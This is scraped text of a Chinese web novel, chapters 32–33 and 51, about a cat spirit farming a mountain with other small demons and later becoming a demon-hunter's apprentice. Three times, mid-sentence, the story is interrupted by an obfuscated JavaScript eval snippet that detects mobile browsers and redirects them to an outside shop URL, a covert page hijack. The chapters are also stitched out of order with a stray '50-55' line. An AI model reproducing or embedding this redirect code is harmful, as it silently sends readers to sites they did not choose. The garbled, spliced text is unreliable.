这一次,猫就一脸无辜的摇了摇头:“我不记得了。” 萧慧:“啊?这样吗?” 可是她看这个小老板每次带来卖的板蓝根都不多,赶集的次数也不多,不应该记不住才对啊。 但猫有猫的心思。 她一口咬定就是不记得了,没印象了。 因为衔蝉已经猜到萧慧为什么要这样问了。 她多半是发现了什么,说不定已经发现自家鸡仔少了两只了。 所以猫装作啥也不知道的样子,问就是不知道,表情还特别诚恳。 萧慧:“......” 没办法,她也只好遗憾的放弃。 “好吧,那帮我把这些包起来吧。” 不管怎么说这些板蓝根都是好东西,她需要多攒点以备不时之需。 衔蝉马上给她包好东西,送走了她。 萧慧一走,白三姑长长的舒出了一口气。 她的胆子真没有衔蝉那么大,看到萧慧来追问的时候她心都提起来了。 虽然当初她们也没干坏事吧,还给人留了板蓝根,但强买强卖什么的,她们本来就不占理。 而且万一要是萧慧顺着问下去,把她们给问露馅儿了怎么办? 她们的身份可经不起细问啊! 这平安镇上可是有降妖师世家的! 见猫三言两语就把萧慧忽悠走,白三姑心里的大石头才缓缓放了下去。 小狐狸也被她紧张的态度感染了,后半段时间一直没敢吭声,就跟她一起在后面伪装蘑菇。 衔蝉却没什么反应,她淡定的继续吆喝,并且很快就把剩下的山货也都卖出去了。 “好喽!收摊!” 衔蝉高兴的把大叶子收起来,背起已经空了的背篓。 “苗大娘!我们东西卖完啦,我们先走了哦!” 苗大娘摊子上的东西还没卖完,便点点头,“好,你们先去吧,下次有空去我家坐坐啊!” 她拉着猫的手,还给她塞了一大把生豆子。 “这豆也是我们家种的,你们也拿点回去种吧,这东西虽说不值钱,但吃着可饱肚子呢。” “你回去种了豆子,拿去磨成豆腐,做豆干也好,豆筋豆皮也好,又可以拿来卖钱,又可以当零嘴儿。” 她看了一眼衔蝉背后的小狐狸:“到时候,你两个妹妹也尝尝。” 原来她是看着小狐狸拿着炒豆子都舍不得吃的样子,心疼孩子了。 可怜见的,不值钱的炒豆都一颗一颗的含着吃,可想而知平时也是真没吃过什么好东西。 衔蝉不知内情,接过豆子朝苗大娘道谢。 跟苗大娘告别后,衔蝉喜滋滋的揣着一串铜板儿和一把生豆子,带着大家去买东西。 “锄头要买,耙子也要买,还有种子,盐......” 猫数着铜板儿,精打细算的规划着这一笔钱要怎么用。 顺便还教一教三参和小狐狸数数。 “学会了数数,以后你们就可以自己下山卖东西,买东西。” “要是学不会,那就会赔钱,白忙一天!” 小狐狸一听,连忙认真道:“我会好好学数数的!” 三参也跟着点头,但眼睛却在不停的看街边来往的行人和小贩,看起来如果没有白三姑拉着,她已经窜进人群里去了。 白三姑左右手各拉着一个孩子,竭力带着她俩往人少的地方走。 尤其是当路过那些气质凶煞疑似降妖师的人类的时候,她简直恨不得马上打个洞再带着三个孩子一起跳进去。 衔蝉却依旧大摇大摆的走在最前面。 她熟门熟路的去买了一堆东西,装满了大家的背篓,还不忘买了一大包盐和一大块肉。 “这块肉咱们拿回去腌了,以后什么时候想吃就割一块下来炖汤!”猫提着肉块,眉飞色舞的。 小狐狸咽着口水点点头。 在肉块面前,她的学习动力前所未有的强。 学会了数数,以后她也可以下山卖货,赚钱买肉...... 衔蝉说得没错! 好好学习才会有前途! 四个小妖各想各的,很快就买齐了所需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16390964|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的物品,一起往回走。 从镇上出来后,人烟顿时稀少起来,白三姑的表情也终于不再那么紧绷。 她们依旧挑了人最少的路走,并且找了山下没人的位置上山。 好在小南峰又偏又远,山下连个村子也没有,荒凉得很,因此一路都很顺利。 回到山上,桃子和板板大老远的就看见了她们,大声朝她们喊道:“衔蝉!你们回来啦!” 衔蝉也大声答道:“是呀!我们回来啦!还给你们带了东西!” 她走到小桃树面前,在背篓里摸出一把造型奇特的长柄大勺。 桃子用枝条卷着这个大勺,好奇问道:“这是什么呀?” 衔蝉笑出八颗牙:“粪勺!” “用来浇水施肥的!” “有了它,你和板板就可以打一桶水放在旁边,什么时候渴了什么时候就打一瓢给自己浇水喝!” 她又反手掏出两个叠在一起的木桶:“看!这么大的桶!” 小桃树哇了一声,又伸出几根树枝,卷着木桶来回翻看,爱不释手。 菘蓝也收到了自己的粪勺和木桶,高兴得叶片直抖。 这一次下山,衔蝉她们满载而归,于是大家决定又做一顿好的吃。 今天带回来的肉和盐就可以用上了。 还有仓库里满满当当的干货也拿些出来,小南峰上所有小妖都吃了个十分饱。 一顿热热闹闹的丰收宴后,衔蝉又带着大家在山上忙活起来。 新的家具都收起来,剩下的肉用盐腌起来,新种子重新种下,再开垦更多的荒地出来,小仓库也要扩建得更大...... 还有更多竹筐竹篓,各种家具也要陆续置办起来。 还要抽空继续种田,修炼,给大家扫盲学数数...... 小妖们在山上忙得热火朝天,在她们的努力下,贫瘠的小南峰终于一点一点的变成了家的模样。 现在大家有田,有地,有仓库,有屋子,日子是越过越好。 不过东西多了,事情也就越来越多。 衔蝉是大家的主心骨,每天都忙得打脑壳。 “啊!我估计下次下山我都没空去了!” 32.第 32 章 山上的事情实在离不开衔蝉,如果下次她要下山,那山上的事务起码要停摆一半。 三参一听,马上站出来:“那下次我去!” 她在山上干的活都没什么技术含量,可替代性比较高,所以她下山一趟也问题不大。 而且三参还挺喜欢下山的,上次她觉得还没太玩够呢。 “可是,你认得路吗?” 三参:“......那让三姑带我去嘛。” 她拍胸脯:“我再走一次就记得路了!再下次就可以自己下山去卖货了!” 衔蝉闻言沉思了片刻。 好像也不是不行。 虽然三参下山可能会发生一点小状况(比如她的跟脚问题),但思及上次回来她也没说什么,猫又觉得三参在大事上还是靠得住的。 当时她和白三姑一拦着,她马上就闭嘴不吭声了,也没跟人争论什么。 回来后她也没有提及相关问题,让白三姑和衔蝉都悄悄地松了一口气。 现在看她不仅不介意上次的情况,甚至还愿意主动下山,衔蝉还有点高兴。 这说明三参并没有把那些话往心里去,挺好的。 不过看三参那滴溜溜转的眼神就知道,她估计还想下山玩上一通。 想了想,衔蝉拍板道:“可以,不过下次的话,三姑带着三参和阿琅一起下山吧。” 在三参开口之前,猫对她摆手道:“不是信不过你,而是你还没学会算账。” “带上阿琅,你们卖货才不会赔钱。” 因为三参玩心大,在学数数上不太上心,所以学习进度很一般。 目前她只能数到一百,但加减法什么的就有点吃力了。 但小狐狸却不一样,她既聪明又刻苦,现在已经学得精通一百以内加减法了。 衔蝉这么一说,三参就挠了挠头:“那好吧。” 猫点点头:“那就这么说好了,下次下山三姑带你们认认路,然后下下次就三参和阿琅自己去。” 三参和小狐狸一起大声答道:“好的!” 这事就这么说定了。 很快就到了下一次收获的时间,小南峰上又收获了一大堆的粮食,以及鸡蛋。 那两只鸡仔终于长大了开始下蛋了,并且由于吃得好长得肥,每天都有鸡蛋捡。 衔蝉留了一小半鸡蛋下来孵小鸡,另一大半则分成两份,一份留着她们自己吃,一份拿下山去卖。 她还列了一张要买的东西的清单交给小狐狸,让她下山卖完货照着买。 写在大叶子上的清单为了照顾小狐狸目前的文化水平,还都是用的简笔画。 这又让小狐狸对衔蝉更加崇拜,并且表示自己也想学画画,学认字。 猫挠了挠头:“画画还行,认字的话,我教不了你,因为我只会认不会写。” 而且她认这些繁体字都是连蒙带猜的。 如果小狐狸想正儿八经学认字,那她还真不行。 小狐狸沉默了一会,然后问:“那我下山的时候,可以去听人类的课吗?” 她有点不好意思的捏了捏衣角:“上次我们一起下山,我看到一个学堂......” 衔蝉一听,马上鼓励她:“可以啊!不过学堂好像是要交钱才能上的,咱们的钱也不知道够不够。” 小狐狸:“那算了,还是等以后咱们不缺钱了再说吧。” 见她有点失落,衔蝉拍了拍她的肩:“阿琅别难过!我们以后会赚到很多很多钱的!” 猫呲牙一笑:“你看,我们这次的收获这么多,肯定能卖很多钱!” “卖了钱你再买更多种子和农具回来,我们种更多东西,赚更多钱!然后你就可以去上学堂啦!” 小狐狸的眼睛一点一点的亮起来,重重的点头:“嗯!” 又跟她交待了一番后,衔蝉就把三参和小狐狸交给白三姑了。 “三姑,这次你带三参和阿琅下山吧,我就不去了!” 白三姑背着背篓牵着两个小妖:“好的。” 她们仨一下山,衔蝉扭头又继续跟桃子和板板在山上忙活。 桃子的枝条特别多,一棵树能当几个人用,现在是小南峰上最大的劳动力。 板板没那么厉害,但也可以用枝条浇水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16395798|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施肥守菜地...... 再加上一个万金油的猫,三个小妖在山上干活的效率也不算低。 衔蝉一边忙活,一边碎碎念:“这次的收获真的很多,仓库里还剩下很多很多物资呢。” 这一次,她们收获了萝卜干,板蓝根,玉米,土豆,南瓜,红薯,桃子,大豆,鸡蛋,林林总总堆满了仓库。 扩建后的仓库足足有三间,都差点堆满。 白三姑今天带着三参和小狐狸下山,也才只带走了一小部分。 还有一大部分,现在还在仓库里堆得满满当当的。 “这些粮食我们是吃不完的,所以都拿去卖掉好了!” 衔蝉乐观的说道:“就是要辛苦三参和阿琅以后多跑几趟!” 桃子和板板也听得高兴,干活都更有劲了。 这才多久啊,她们就从吃不饱变成粮食多到吃不完啦! 想想就开心! 衔蝉还在盘算呢:“这次我还让阿琅想办法买点麦子或者稻子回来,咱们开几片正儿八经的粮食地!” “地方我都看好了,麦子可以种在东坡子洞后面,稻子可以种在河边!” “咱们在河边引水挖渠,就可以修出水田来种稻子,然后大家就有米饭吃啦!” “米饭不仅好吃有营养,米糠还是很好的饲料和肥料!” “发酵后的米糠肥力可足了,收完稻子的稻草还能做柴火,烧完的草木灰也是上好的肥料!” 桃子和板板听得快要流口水,枝条挥舞得刷刷的。 她们仨在小南峰上忙得热火朝天,下一次的丰收也似乎近在咫尺。 然而,在与小南峰相隔不远的东山上,却是一片愁云惨淡。 某个和曾经的小南峰上一样的老林子里,几个小妖正在唉声叹气。 “这日子过不下去了!那貉先锋实在不讲道理,居然霸占了我们的洞穴!” “山里日子本就难过,现在没了洞穴,又被赶出家园,日后我们可该怎么活啊!” 就在几个小妖愁眉苦脸的连连叹息时,忽然有一只灰色的兔头从旁边树洞里冒了出来。 33.第 33 章 “你们若是果真活不下去了,我倒有个去处可以提点你们。” 一只通体浅灰的兔子从树洞里跳出来,摇头晃脑的说道。 几个愁眉苦脸的小妖一见她,顿时缓和了脸色:“胡图?你有什么好去处?” 原来这灰兔子妖是附近山里知名的包打听,她最爱四处闲聊,又擅长无声无息的打洞,因此她的消息最是灵通。 在东山附近这一块,谁要是想打听点什么,十有八九都会来找她。 这几个从东山另一边过来的小妖原本也是这个打算,只是胡图的洞穴太多,她们一时之间也没找着她。 此时见胡图主动冒头,几个小妖连忙围住她问东问西。 领头的鹿妖认真道:“胡图,你若真的能帮我们找个好去处,我们定有谢礼送上!” 灰兔子妖抖了抖耳朵:“我倒也不是全图你们的谢礼,但你们非要送,那我也不好推脱。” 小妖们连连点头:“是极是极,你快说说,哪里有好去处?” 鹿妖化作半个人形,掰着指头盘算:“我们想要找个没有凶恶大妖,没有人类,且能找得着吃食的去处。” 这样的去处可不好找。 山上但凡好点的地盘都已经被那些凶残的大妖们瓜分了,剩下的山头要么贫瘠不堪,要么山下就有人类。 对法力低微的小妖们来说,那都不是什么好去处。 更何况还要找能寻得找吃食的地方,就更不好找了。 山里的小妖有吃素的有吃肉的,想要找落脚地,那起码得找有草地的有猎物的。 像那种只有大树的老林子里是很难找到食物的。 因为那里的草地长不起来,树上的叶子花果又难摘,林中的猎物自然也不多,几乎养不活什么小妖。 所以即便山里无主之地颇多,小妖们却一筹莫展,只能来找胡图打听消息。 鹿妖叹道:“若是实在不行,找个有良善大妖的地盘,咱们入伙也使得。” 跟随大妖,其实这才是小妖们最好的出路。 只可惜大妖们一般只收那些厉害能打的小妖,不收像鹿妖几个这样没甚法力,化形都化不全的末流小妖。 胡图闻言就笑:“那我说的这个地方,你们包管喜欢。” 她用长耳朵往小南峰的方向一指:“你们可知道小南峰么?” 几个小妖闻言脸色大变:“小南峰可不行!” 那是出了名的死地,山上全是密林,山下不远就有人类村庄,去那里住着,天天都得提心吊胆! 而且小南峰又贫瘠,连猎物也没有几个,去了那里,不是饿死,就是被降妖师抓去打死! 横竖都是个死! “去小南峰,还不如流浪呢。”有小羊妖撇嘴说道。 胡图却摇头:“不,你们的消息都落后了!” “你们还不知道吧?小南峰上,如今也有大妖了!” 几个小妖更疑惑了:“什么大妖会占小南峰做地盘?” 胡图哈哈大笑:“寻常大妖肯定看不上小南峰,但我说的这个大妖却有别样的本事!” 她神神秘秘的问:“你们可知,小南峰上的白三姑曾在二百年前陆续捡回两只小妖?” 小妖们点头:“这个我们知道。” 这消息也是胡图说的,当时大家还笑话那鸽子妖不自量力呢。 她自己都只能住在小南峰上艰难求生了,却还捡两个小妖回去养,这不是给自己添堵吗? 鹿妖问:“难不成,那两个小妖如今长成了大妖?” 胡图:“答对了一半!” “其中有一个小妖常年沉睡,但前些日子她一觉醒来就开了智,觉醒了好大的神通!” “她能把荒芜的林地变成长粮食的沃土,还能用秘法做出会冒烟的吃食!” “据说吃了那些吃食,还能涨灵力咧!” “这还不止,她竟还有本事去人类的地盘上杀个七进七出,带好多战利品回山上!” “她还带着另外几个小妖,在山上修了好阔气的洞府,里面堆满了吃食!” 几个小妖听得直吸凉气。 “果真有如此厉害的大妖?” 不仅能把荒僻的小南峰变成能产粮食的宝地,甚至不惧降妖师,敢去人类的地盘掳回战利品? 胡图用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16401576|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力点头:“所以我说,如今小南峰也是个好去处了。” “我前些日子还去瞧过,那小南峰上又收了两个小妖哩。” “你们若是去投奔,说不定也能混个好差事!” 几个小妖面面相觑。 胡图说得信誓旦旦,可她们却不太敢信。 不是信不过胡图,而是她说的这些话太不可思议了。 而且小妖们也想不通,有那么大神通的大妖为什么会甘居于小南峰,而不是直接打上东山,占更多肥美的好地呢? 所以小妖们越琢磨越觉得胡图可能是在诓她们。 小妖们甚至发散思维,按大岭山上的规矩揣测道,或许大妖的确是有,但却不像胡图说的那样。 那可能是一个典型的大妖,而胡图已经投奔了那大妖,就是来给她做说客的。 故而那大妖必然也不像她说得那样良善,她不是凭空能变出吃食,而是骗别的小妖过去剖了下酒吃! 不然怎么说得通她能变出满洞府的粮食呢? 几个小妖越想越怕,瑟瑟发抖。 “不了不了,我们几个法力低微,恐怕入不了那位大王的眼,还是换个地方吧。” 小妖们惶恐极了,马上就要跑。 在山里流浪虽然凄惨,但好歹能留一条小命。 总比被诓去给大妖做下酒菜强! 小妖们一溜烟的跑了,留胡图在原地干瞪眼。 “干嘛呀!我说的都是真的!” 正在奔逃的鹿妖扭头大喊一句:“那你怎么不去投奔那大妖?” 胡图跳了起来:“谁说我不去?我正准备去呢!” 她在东山这边的日子也不是很好过,只能勉强混个温饱而已。 所以她其实一直在暗中观察小南峰上的情形,并悄悄琢磨着什么时候过去入个伙。 她想,既然那位大妖连不能挪动的植物小妖都肯收,还一收收两个,那想必也愿意收她这么个消息灵通的包打听吧? “若我去了,说不得还能混个帐前军师!” “或者混个文书,斥候,也不错!” 灰兔子妖喜滋滋的想道。 50-55 第51章 “不好出去我也得出去, 我还有很多朋友和手下都在山上等着我回去呢!” 衔蝉一脸坚定:“我一定要想到办法出去的!” 朔姨愣了一下,然后哈哈大笑。 “你这么小的小猫,居然还有手下呢?” 猫挺起胸膛:“当然有!其实我还是个大王来着!” 朔姨:“好好好, 真是个厉害小猫。” 她笑着感叹:“难怪呢, 你身上还有这么厉害的封印,是大妖后裔吧?” 猫歪头:“啊?封印?我身上有封印?” 朔姨:“嗯?你自己不知道?” 衔蝉茫然:“我应该知道吗?” 她低头看了看自己毛绒绒的肚皮, 怎么看也看不出来有什么封印啊。 朔姨伸出手指,在猫的额头, 胸口和腹部轻轻一点。 “这里,这里,还有这里,都有封印留下的痕迹。” “虽然这封印级别很高,寻常人根本看不出来端倪, 但它现在似乎已经有些淡化了。” “你自己一点感觉都没有吗?” 衔蝉闭上眼睛,努力感受了一下,然后答:“完全没感觉啊!” 她张开爪瓣儿,又合拢,喃喃自语:“我能吃能喝能跑能跳的,完全没有什么不舒服或者不对劲的感觉呀。” 朔姨顿了顿:“完全没感觉?那你身上这个封印应该是保护性质的。” 她问猫:“你的长辈没跟你说这事吗?这种保护性质的封印一般都是长辈留给自家小辈的。” 衔蝉更懵了:“我没有长辈啊。” 她端端正正的蹲在朔姨腿上, 小声说道:“我只有一个三姑, 但其实她也没比我们大多少。” “而且三姑是鸽子精,我们没有血缘关系的, 所以这个封印应该跟她也没关系吧?” 说着,猫忽然灵光一闪:“啊!我想起来了!三姑说我和阿琅都是她捡回来的!” “我们虽然是一家妖,但我们其实都不是三姑的亲生崽子!” “那就对了。”朔姨拍了拍猫猫头:“这应该是你的血亲长辈给你留的封印。” 衔蝉一下子兴奋起来:“啊!那就是说,我也有血亲的呀!那她在哪,为什么没有跟我在一起生活呢?” 朔姨摇摇头:“这我就不知道了。” 猫又问:“那这个保护封印是用来干嘛的?如果我遇到危险它就会biu的一声跑出来保护我吗?可是我从悬崖上掉下来它也没有动静呀?” 面对猫的一连串问题, 朔姨并没有不耐烦,而是耐心答道:“或许它的保护方式不是你想的那样。” “又或许因为时间过去太久,它已经逐渐淡化了,否则它也不会被我发现。” 衔蝉瞬间失落下来:“啊。这样子。” 见她尾巴都耷拉下来了,朔姨连忙安慰她:“不管怎么说,这个封印一定是对你没坏处的。” “你的长辈虽然没有抚养你,但看得出来她很爱你。” 想要打下这种级别的封印,所需要的资源和法力都是海量的。 能在衔蝉身上倾注这么多精力和心思,她一定非常看重她。 朔姨这么一安慰,衔蝉顿时感觉好受了不少。 “谢谢你,朔姨。” 猫低头蹭蹭朔姨的手背。 朔姨被手上毛绒绒暖呼呼的触感蹭得眉开眼笑:“我教你一个‘补丁’吧,它可以帮你继续遮住这个封印。” “虽然我也不知道这个封印具体是护着你哪方面的,但让它继续隐藏起来应该才对你更有利。” 否则别人一看这小猫妖身上有这种级别的封印,揣测她或许身怀重宝,直接杀猫夺宝就不好了。 衔蝉吓了一跳:“啊!怎么会这样!” 朔姨正色道:“这个世界就是这样,你身上应该确实有些长辈留的防身宝贝,所以她才会给你打下这个封印遮掩它吧。” 衔蝉想了想,点点头:“昂,好的吧,那就谢谢朔姨啦!” 朔姨笑着摸了摸猫头,当即教给猫一道口诀。 衔蝉学着口诀运行灵力,果然把身上的些许封印痕迹又给遮严实了。 “朔姨!你看这样好了没!”猫转了一圈,让朔姨看自己做得对不对。 朔姨连声夸赞:“你做得很好,学得很快,很有天赋。” 只学一遍就能上手了,这天赋真让人惊喜,也让她很有成就感。 猫的尾巴一下子又竖直了。 朔姨看着她,心下微动。 不过鉴于她们才刚认识,对彼此的性情还不太了解,朔姨想了想,暂时将心底的想法压了下去。 再相处相处再说吧。 “好了,衔蝉,你先安心在这养伤吧,别的事情以后再说。”朔姨伸手,在猫背上摸了摸。 衔蝉“嗯”了一声,重新在她腿上趴好。 现在这情况,确实也只能先养伤了。 出去也好,仔细追查封印和自己的身世也好,都不是现在能做到的事。 当务之急,是养好伤,再想办法从这个崖底峡谷出去。 “如果你很急着出去的话,也不是没有办法。”朔姨忽然说道。 衔蝉一下子就又站起来了:“什么办法?!” 朔姨:“这些年我也一直想出去,所以在这峡谷里做了些准备。” “我花了两年的时间,把这里的地形全部摸清了,然后发现了一个相对薄弱的岩壁。” “只要凿穿那块岩壁,应该就能找到走出峡谷的路。” 等走出了这片封闭的峡谷,才能继续想办法找路往山上爬。 只是这个过程不知道需要花费多久。 光是开凿那块岩壁,朔姨就花了十年的时间。 而那块岩壁至今还未打通。 她敲了敲自己毫无知觉的膝盖,轻叹一声:“若不是这双腿废了,或许还能开凿得再快点。” 衔蝉连忙凑过去,隔着衣裳舔了舔朔姨的膝头。 “朔姨别伤心,等我伤好了,我们一起去凿那个岩壁!” 朔姨笑了笑:“好。” 衔蝉伸出爪子,轻轻地在她腿上按了按,小声问:“这个,真的不能治好了吗?” 朔姨摇摇头:“要是能治好,我也不至于像现在这样。” 她用手指点了点轮椅扶手。 衔蝉马上安慰道:“没关系的朔姨!我们死马当活马医试试看吧!” 猫眼睛睁得圆溜溜的:“你试过用灵力吗?” 张开爪瓣儿比划了一下:“三姑说,灵力是无所不能的,你试试用灵力能不能治好腿呀?” 朔姨无奈的笑了。 “理论上来讲应该是可以的。” 在灵力充足的情况下,断肢也有机会重生。 但她这情况却比理论情况复杂多了。 她的腿已经断了十来年,早就过了能续骨的最佳时机,而且在这封闭贫瘠的峡谷里,也没有能给她补充灵力的东西。 人类跟妖不一样,不能直接吸收日光月光里的灵力。 她们只能通过修炼功法或者服用灵植灵丹来补充灵力。 并且这两种方法也不是万能的,前者只能“恢复”人类本身所能容纳的灵力,就像往尺寸固定的杯子里倒水那样。 人类修炼得越好,自身的“杯子”就越大,能装下的水就越多,能用水做到的事情也越多。 而后者倒是可以像作弊一样快速增加杯子的上限,让杯子可以容纳更多的水, 从而用这部分多出来的“水”可以用在修复伤病,进阶修为等等事上。 但问题是,灵植灵丹是很难得的。 “这些年我在这峡谷里,只能靠日常修炼维持原有的灵力,上哪去找多余的能补充灵力的好东西。” 朔姨无奈的解释道。 衔蝉却忽然尾巴一竖。 “这个或许我有办法!” 她有个很厉害的天赋! 就是不知道这个天赋能不能用在人类身上。 衔蝉一拍脑门:“朔姨,你这里有没有能种东西的地方?还有厨房!” “有,但你想做什么?自己种灵植?” 朔姨不想打击猫猫的积极性,但事实就是,灵植可没那么容易种。 只有灵气四溢的风水宝地才能长出灵植。 缺乏灵气的地方,别说灵植了,普通的粮食都很难种活。 要是灵植有那么好种的话,灵植也不会那么珍贵。 衔蝉嘿嘿一笑。 巧了吗不是,她的天赋好像就是种灵植! 不过想了想,猫并没有马上把这个事情说出来,不然到时候万一没成功,让朔姨空欢喜一场,那多不好呀。 “嗯,好吧,不过就算不能种灵植,我们也可以种点粮食蔬菜呀。” 猫一脸认真:“我吃得有点多,如果不种更多的粮食的话,我怕把你吃穷了。” 朔姨闻言,笑出了声。 她一个小猫猫,抱起来顶多十五六斤,能吃多少东西? 除非她已经化形了,那确实能吃得多一点,但也多不到哪里去。 猫妖化形,一般都不会太高,胃口也不会有多大。 “对了,你会化形了吗?” 衔蝉:“会的会的!” 她当场就要给朔姨展示一下自己高大威猛的人形,但她刚站起来,就嗷了一声。 她的猫腿还伤着呢,现在灵力都自动流向伤处去了,所以这会她暂时是化不成人形了。 要等伤好了,灵力充足了,她才能重新化人形。 猫沮丧低头:“我现在灵力不够用了,暂时化不了人形了。” 朔姨没忍住笑了笑:“没事,你好好养伤,很快就会好起来的。” “你年纪小,天赋又好,恢复起来一定会很快的。” 衔蝉舔了舔爪:“好嗷。” 从这天起,衔蝉就老老实实的在峡谷里养起了伤。 崖底的生活很清苦,要啥没啥,什么都只能凑合着过。 在这里,衔蝉每天吃的是朔姨好不容易攒下的野果野菜,用的草药也是峡谷里的野生药材,分量少,功效也不是很强。 它顶多只能消炎止痛,实际上对伤口的修复效果是很有限的。 衔蝉的伤势,基本上都只能靠她自己努力吸收灵力去修复。 但好消息是她能从日光和月光里直接吸收灵力,所以伤势也好得很快。 大概十天后,她就可以活蹦乱跳的下地乱跑了,只是稍微还有点瘸。 完全不把剩下的小伤放在心上的猫就大咧咧的在峡谷里忙活起来。 先跟朔姨一起把她原先开垦的一小块野菜田扩大一些,再用灵力堆肥,催生更多的野菜当口粮。 只来了十天就把朔姨储存了一个月的菜干吃完的猫十分惭愧,十分勤奋。 她的爪子还没好,暂时做不了什么精细操作,但给朔姨打打下手是没问题的。 甚至在种地这方面,她比朔姨还专业些。 朔姨都十分佩服她,因为她照着猫说的方法去种野菜,野菜居然肉眼可见的长得肥壮了不少! “衔蝉,你真的很厉害啊。” 看着地里长势喜人的野菜,朔姨连连感慨。 猫尾巴竖成天线,嘴上还谦虚:“咳,也就一般吧。” 只谦虚了一秒,猫就忍不住开始炫耀了:“其实我在山上的时候,种的东西更多,更好!” “我们在几座山头上都开了荒地出来,种了好多粮食作物,我们还拿下山去镇子上卖钱呢!” “我们卖了很多银子,买了很多肉和新的种子回来,还买了农具,锅碗瓢盆” 猫越说越兴奋,话匣子一打开就停不下来。 看着挺着毛绒绒胸脯的猫,朔姨也听得眼含笑意。 “真厉害呀,不过山下是人类的地盘吧?你们不怕?” 衔蝉:“不怕的!山下的降妖师我们都见过了!” 猫得意显摆:“我们甚至还认识一个降妖师朋友!” 虽说知道风妧还算不上正经降妖师吧,但吹牛皮又不用上税,肯定要往厉害的方向吹啊! 而且衔蝉其实心里还挺佩服风妧的,觉得她以后肯定也是个干大事的人。 所以就提前贷款吹一吹她的身份也很合理嘛! 朔姨听得直笑:“你胆子真大啊,你是怎么跟那降妖师朋友认识的?” 说到这里,衔蝉就不好意思的用后腿蹬了蹬耳朵。 因为买肉忘了给钱而被上山罚款什么的,听起来也太不好听了吧。 猫含糊道:“就是她上山来,我们遇到了,一来二去的就熟了。” “她还邀请我们去过她家呢!”猫接着吹:“她们家是山下的降妖师世家来着!” 朔姨挑了挑眉。 “降妖师世家?风府?” 衔蝉一下子睁大了眼睛:“哇!朔姨你也知道风府啊!” 猫很想叉腰:“哈!是的,就是那个很厉害的风府!” “风妧虽然不是风府的主人,但她也是很厉害的!她自己都能自学成才!” 一回想到那些可以写进话本子里的“偷秘籍”“自学阵法”“光天化日抢婚”等“丰功伟绩”,猫就很想叉腰大笑。 她沉浸在回忆里,兴奋的挥着爪子跟朔姨从小南峰吹到平安镇,越说越起劲。 然而她却没有注意到,随着她的话头,朔姨的神色越来越凝重。 尤其是当她听到风府的八卦和后来衔蝉风妧联手策划抢婚时,她的眉头都皱紧了。 只是猫已经彻底沉迷在了越吹越有艺术性加工的牛皮里,暂时没有发现朔姨的神情变化。 “总之,我们当时跟降妖师谈笑风生!” 衔蝉大吹特吹:“整个平安镇,就没有我们不敢去的地方!” 就是这么厉害! 根本不怕降妖师的! 说到兴头上,衔蝉又好奇问道:“朔姨,你也知道风府,你也是降妖师吗?” 朔姨沉默了一会。 “嗯。” 衔蝉:“哇!那你是什么级别的降妖师啊?玄师?地师?” 朔姨轻笑一声:“你知道得还挺多。” 衔蝉跟着笑:“那是!所以朔姨你是什么级别的降妖师呀?” 朔姨轻轻弹了弹衣角:“唔,以前的话,是大地师。” 衔蝉肃然起敬。 大地师! 再往前一步就是最高级别的天师了! 这可是只在山下话本子里才能遇到的厉害人物! 衔蝉眼睛亮晶晶:“那现在呢?” 朔姨:“现在?” 她笑了笑,轻描淡写道:“现在应该是天师了吧。” 在峡谷里没有测灵碑,但这些年她可一直没放松修炼。 双腿废了并没有影响到她的修炼。 衔蝉眼睛更亮了,一下子跳到朔姨腿上:“哇啊!朔姨!你是天师?!” “你能不能教教我修炼呀!我也想和你一样厉害!” 她没有什么门户之见,也不知道人类的功法一般不外传,她只觉得,以前看过的电视剧里,大能都是愿意教授小辈的,所以就很自然的开口了。 然而朔姨并没有像普通降妖师那样拒绝衔蝉,而是挑眉问道:“你想拜师?” 衔蝉双爪搭在朔姨肩头,用力点头:“嗯啊!可不可以呀?” 她自己摸索着修炼也不是不行,但效率太低啦! 没有老师教导,她甚至连很多功法都看不懂 跟风妧一起琢磨了那么久,她们才学会了一点皮毛。 但要是有个老师教她的话,她一定会进步很快的! 她是个很聪明也很好学的猫! 朔姨轻轻点了点猫头:“你是妖,我是降妖师,你确定要拜我为师?” 衔蝉大声回答:“确定!只要朔姨肯收我,让我做什么都行!” 为了能拜师学艺,猫也是拼了。 朔姨哈哈一笑:“你这小家伙,真是有意思。” 衔蝉看她的态度,就猜到她的想法了。 猫马上跳到地上就是一个五体投地,当场顺杆爬:“师尊在上,受徒儿一拜!” 朔姨笑了好一会,才挥手说道:“好好好,起来吧,开山大徒儿。” 衔蝉嗖的一下蹦起来:“诶!我是大徒儿吗?!第一个?!” 朔姨点头:“嗯,以后如果我再收徒,你就是大师姐,高兴吗?” 猫一蹦三尺高:“耶!高兴!” 性子有点臭屁的猫最喜欢做老大了! 